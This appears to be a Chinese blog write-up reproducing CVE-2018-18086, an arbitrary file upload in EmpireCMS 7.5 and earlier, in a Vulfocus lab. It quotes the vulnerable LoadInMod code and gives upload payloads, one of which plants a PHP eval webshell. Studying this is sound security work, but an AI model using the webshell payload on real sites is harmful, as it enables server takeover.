【漏洞复现 CVE-2018-18086】EmpireCMS 文件上传

0x01 漏洞描述

EmpireCMS(帝国网站管理系统)是一套内容管理系统(CMS)。 EmpireCMS 7.5版本中的e/class/moddofun.php文件的‘LoadInMod’函数存在安全漏洞。攻击者可利用该漏洞上传任意文件。

0x02 漏洞编号

CVE-2018-18086

0x03 影响范围

EmpireCMS<=7.5

0x04 漏洞复现

环境

使用Vulfocus靶场镜像一键搭建
https://fofapro.github.io/vulfocus/#/

复现

主要存在漏洞代码位置:/e/class/moddofun.php

//导入模型
elseif($enews=="LoadInMod")
{
	$file=$_FILES['file']['tmp_name'];
    $file_name=$_FILES['file']['name'];
    $file_type=$_FILES['file']['type'];
    $file_size=$_FILES['file']['size'];
	LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}

转到LoadInMod定义,make_password(10)对文件名进行加密重命名。但是include()直接包含上传的文件,这样就可以绕过重命名的文件

//上传文件
	$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
	$cp=@move_uploaded_file($file,$path);
	if(!$cp)
	{
		printerror("EmptyLoadInMod","");
	}
	DoChmodFile($path);
	@include($path);
	UpdateTbDefMod($tid,$tbname,$mid);

@include($path); 直接包含文件

上传一个1.php.mod文件,写入phpinfo()
<?php file_put_contents("shell1.php","<?php phpinfo()?>");?>

访问上传的文件,成功返回代码

进行getshell,写入一句话木马,$需要进行转义处理
<?php file_put_contents("getshell.php","<?php @eval(\$_POST[cmd]); ?>");?>

posted @ 2021-08-26 17:20  StarCi  阅读(1360)  评论(0编辑  收藏  举报